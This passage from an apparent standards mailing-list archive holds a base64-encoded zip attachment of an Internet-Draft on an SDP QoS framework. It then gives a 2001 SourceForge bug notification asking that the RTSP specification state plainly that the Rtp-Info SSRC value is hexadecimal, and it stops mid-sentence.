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
AQABAFYAAADhRAAAAAA=

--------------455F0A3F29E02512D51BDF13--


From confctrl-owner  Fri Nov 16 18:25:27 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA25431
	for confctrl-outgoing; Fri, 16 Nov 2001 18:25:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA25426
	for <confctrl@zephyr.isi.edu>; Fri, 16 Nov 2001 18:25:26 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAH2Q1g04844
	for <confctrl@isi.edu>; Fri, 16 Nov 2001 18:26:01 -0800 (PST)
Received: from usw-sf-web2-b.sourceforge.net ([10.3.1.6] helo=usw-sf-web2.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 164vBA-00043c-00; Fri, 16 Nov 2001 18:26:00 -0800
Received: from nobody by usw-sf-web2.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 164vBA-00047Z-00; Fri, 16 Nov 2001 18:26:00 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-448525 ] Syntax for SSRC should be clarified
Message-Id: <E164vBA-00047Z-00@usw-sf-web2.sourceforge.net>
Date: Fri, 16 Nov 2001 18:26:00 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #448525, was opened at 2001-08-06 13:07
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=448525&group_id=23194

Category: None
Group: None
Status: Open
>Resolution: Fixed
Priority: 5
Submitted By: Anders Klemets (klemets)
Assigned to: Rob Lanphier (robla)
Summary: Syntax for SSRC should be clarified

Initial Comment:
The Rtp-Info header can contain an attribute 
named "ssrc".  The BNF-syntax in the RFC defines that 
the value of the ssrc attribute should be exactly 8 
hexadecimal digits.  But this is never spelled out in 
English in the RFC.  This makes it easy to overlook 
that the ssrc should be expressed in hexadecimal.

Therefore, it would be helpful if a sentence was 
